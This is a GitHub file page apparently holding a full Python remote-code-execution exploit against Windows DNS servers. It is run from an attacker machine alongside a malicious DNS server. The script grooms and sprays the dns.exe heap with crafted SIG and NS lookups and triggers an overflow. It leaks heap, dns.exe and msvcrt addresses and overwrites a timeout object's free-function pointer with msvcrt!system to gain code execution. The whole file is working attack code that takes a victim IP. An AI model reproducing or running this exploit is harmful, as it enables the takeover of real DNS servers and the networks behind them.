-
Notifications
You must be signed in to change notification settings - Fork 63
/
exploit.py
259 lines (194 loc) · 9.42 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
#!/usr/bin/env python
# Run on the Linux attacker box to start the exploit after starting the evildns server. It is the client part of the attack.
import os
import time
import base64
import random
import string
import struct
import argparse
from offsets import dnsoffsets
from offsets import vcrtoffsets
subdomain = ['dw', 'dx', 'dy', 'dz', 'd0', 'd1', 'd2', 'd3']
FREELIST_MAX = 3333
def sleepz(secs):
slept = 0
while slept <= secs:
if((slept % 5) == 0) or (slept == secs):
print(slept, end='', flush=True)
else:
print('.', end='', flush=True)
time.sleep(1)
slept += 1
print('')
def genRandom(num, slen):
unique_strings = []
while len(unique_strings) < num:
ustring = ''.join(random.choice(string.ascii_lowercase + string.ascii_lowercase + string.digits) for i in range(slen))
if ustring not in unique_strings:
unique_strings.append(ustring)
return unique_strings
def nslookup(ltype, subdomain, domain, ip, pipe_to):
os.system('nslookup -type=' + ltype + ' -retry=0 9.' + subdomain + '.' + domain + ' ' + ip + ' > ' + pipe_to)
def parsePacket(responseStr):
packetBytesStr = ''
byte_start = responseStr.find('bytes\n')
indx = byte_start + 6
while indx < len(responseStr):
packetBytesStr += responseStr[indx:indx+47] + ' '
indx += 74
packetBytes = bytearray.fromhex(packetBytesStr)
return packetBytes
def do_rce(windows_ip, domain):
unique_strings = genRandom(28, 3)
print('[!] grooming small buffer size freelist')
for x in range(14):
nslookup('ns', unique_strings[x], domain, windows_ip, '/dev/null')
for n in range(FREELIST_MAX):
nslookup('sig', str(n) + 'lol', domain, windows_ip, '/dev/null')
print('Waiting for small cached records to be freed')
sleepz(163)
spray_vals = string.ascii_lowercase + string.digits
print('[!] doing DNS record heap spray')
for n in range(FREELIST_MAX):
nslookup('sig', str(n) + 'lol', domain, windows_ip, '/dev/null')
for spray_val_1 in spray_vals:
for spray_val_2 in spray_vals:
nslookup('sig', spray_val_1 + spray_val_2, domain, windows_ip, '/dev/null')
print('[!] waiting for target subdomain record to be freed')
sleepz(123)
print('[!] triggering realloc and overflow')
nslookup('sig', subdomain[0], domain, windows_ip, '/dev/null')
print('[!] triggering free for fake timeout object')
nslookup('sig', subdomain[6], domain, windows_ip, '/dev/null')
print('[!] triggering timeout object allocations')
for x in range(14, 21):
nslookup('ns', unique_strings[x], domain, windows_ip, '/dev/null')
print('[!] triggering frees for heap ptr leak')
nslookup('sig', subdomain[7], domain, windows_ip, '/dev/null')
nslookup('sig', subdomain[4], domain, windows_ip, '/dev/null')
print('[!] triggering heap ptr leak')
nslookup('sig', subdomain[3], domain, windows_ip, 'heapleakb64')
with open('heapleakb64', 'r') as f:
hl64 = f.read()
# some versions of nslookup don't like malformed responses and dump the packet bytes instead.
if hl64.find('Got bad packet') != -1:
data_bytes = parsePacket(hl64)
# find FreeTag, leaked heap address precedes it
indx = data_bytes.find(b'\xEF\x0B\x0B\xFE\xEF\x0B\x0B\xFE')
heap_ptr = struct.unpack('<Q', data_bytes[indx-8:indx])[0]
heap_ptr += 0x10
else:
sigs = hl64[hl64.find('signature'):].split()
hl64_bytes = sigs[11].encode('ascii')
data_bytes = base64.b64decode(hl64_bytes)
# bytes 33-41 leak an address to the heap we control
heap_ptr = struct.unpack('<Q', data_bytes[33:41])[0]
# increment address by the size of WINDNS_BUFF (buffer header structure describing the WINDNS buffer.)
heap_ptr += 0x10
print('[+] controllable heap addr: 0x%lx' % heap_ptr)
with open('heapleak', 'wb') as f2:
f2.write(struct.pack('<Q', heap_ptr))
print('[!] waiting for timeout object allocation')
sleepz(123)
print('[!] triggering dns!RR_Free addr leak')
nslookup('sig', subdomain[5], domain, windows_ip, 'dnsleakb64')
with open('dnsleakb64') as f:
dnsl64 = f.read()
# some versions of nslookup don't like malformed responses and dump the packet bytes instead.
if dnsl64.find('Got bad packet') != -1:
data_bytes = parsePacket(dnsl64)
# find pNextFreeBuff NotFree tag, leaked dns.exe addrs follow two heap ptrs
indx = data_bytes.find(b'\xEF\x0C\x0C\x0C\x0C\x0C\x0C\xFE')
rrfree = struct.unpack('<Q', data_bytes[indx+24:indx+32])[0]
dnstr = struct.unpack('<Q', data_bytes[indx+32:indx+40])[0]
else:
sigs = dnsl64[dnsl64.find('signature'):].split()
dnsl64_bytes = sigs[12].encode('ascii')
data_bytes = base64.b64decode(dnsl64_bytes)
# bytes 15-23 leak the address of dns!RR_Free
rrfree = struct.unpack('<Q', data_bytes[15:23])[0]
# bytes 23-31 leak the address of a dns!`string`
dnstr = struct.unpack('<Q', data_bytes[23:31])[0]
dnsoff = dnsoffsets.get((rrfree & 0xFFF, dnstr & 0xFFF))
if dnsoff is None:
print('[-] Could not find dns offsets!')
os._exit(0)
# find offset of dns.exe functions based on leaked addresses
if type(dnsoff) is list:
idx = input('[!] There is a collision in available offsets based on leaked address, which set of offsets would you like'\
'to try? Pick a number between 1-%i\n' % len(dnsoff))
dnsoffs = dnsoff[int(idx)-1]
else:
dnsoffs = dnsoff
dnsbase = rrfree - dnsoffs[0]
nsecdns = dnsbase + dnsoffs[1]
dnsimpexit= dnsbase + dnsoffs[2]
print('[+] dns!NsecDnsRecordConvert addr: 0x%lx' % nsecdns)
print('[+] dns!_imp_exit addr: 0x%lx' % dnsimpexit)
with open('dnsleak', 'wb') as f2:
f2.write(struct.pack('<Q', nsecdns))
f2.write(struct.pack('<Q', dnsimpexit))
print('[!] triggering overflow again to overwrite timeout object pFreeFunction ptr')
nslookup('sig', subdomain[0], domain, windows_ip, '/dev/null')
print('[!] triggering free for fake timeout obj')
nslookup('sig', subdomain[5], domain, windows_ip, '/dev/null')
print('[!] triggering timeout object allocations')
for x in range(21, 28):
nslookup('ns', unique_strings[x], domain, windows_ip, '/dev/null')
print('[!] waiting for dns!NsecDnsRecordConvert to be called')
sleepz(123)
print('[!] triggering msvcrt!exit addr leak')
nslookup('sig', subdomain[3], domain, windows_ip, 'exitleakb64')
with open('exitleakb64') as f:
exitlb64 = f.read()
# some versions of nslookup don't like malformed responses and dump the packet bytes instead.
if exitlb64.find('Got bad packet') != -1:
data_bytes = parsePacket(exitlb64)
# find pNextFreeBuff NotFree tag, leaked msvcrt addr at position 33 in leaked WINDNS_BUFF
indx = data_bytes.find(b'\xEF\x0C\x0C\x0C\x0C\x0C\x0C\xFE')
pexit = struct.unpack('<Q', data_bytes[indx+33:indx+41])[0]
else:
sigs = exitlb64[exitlb64.find('signature'):].split()
exitlb64_bytes = sigs[12].encode('ascii')
data_bytes = base64.b64decode(exitlb64_bytes)
# bytes 24-32 leak the address of msvcrt!exit
pexit = struct.unpack('<Q', data_bytes[24:32])[0]
vcrtoff = vcrtoffsets.get(pexit & 0xFFF)
# find offset of msvcrt!system based on leaked address
if vcrtoff is None:
print('[-] Could not find msvcrt offsets!')
os._exit(0)
if type(vcrtoff) is list:
idx = input('[!] There is a collision in available offsets based on leaked address, which set of offsets would you like'\
'to try? Pick a number between 1-%i\n' % len(vcrtoff))
vcrtoffs =vcrtoff[int(idx)-1]
else:
vcrtoffs = vcrtoff
msvcrtbase = pexit - vcrtoffs[0]
msvcrtsystem = msvcrtbase + vcrtoffs[1]
print('[+] msvcrt!system addr: 0x%lx' % msvcrtsystem)
with open('sysleak', 'wb') as f2:
f2.write(struct.pack('<Q', msvcrtsystem))
print('[!] triggering overflow again to overwrite timeout object pFreeFunction ptr - msvcrt!system')
nslookup('sig', subdomain[0], domain, windows_ip, '/dev/null')
print('[!] waiting for msvcrt!system to be called, then RCE! ^.^')
sleepz(123)
print('[*~*] should have RCE now???')
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-ip', help='ip address of victim Windows DNS server', required=True)
parser.add_argument('-d', '--domain', help='malicious domain name', required=True)
args = parser.parse_args()
if len(args.domain) > 15:
print('Domain length must be 15 characters or less')
os._exit(0)
os.system('rm heapleakb64 > /dev/null 2>&1')
os.system('rm heapleak > /dev/null 2>&1')
os.system('rm dnsleakb64 > /dev/null 2>&1')
os.system('rm dnsleak > /dev/null 2>&1')
os.system('rm exitleakb64 > /dev/null 2>&1')
os.system('rm sysleak > /dev/null 2>&1')
do_rce(args.ip, args.domain)
if __name__ == '__main__':
main()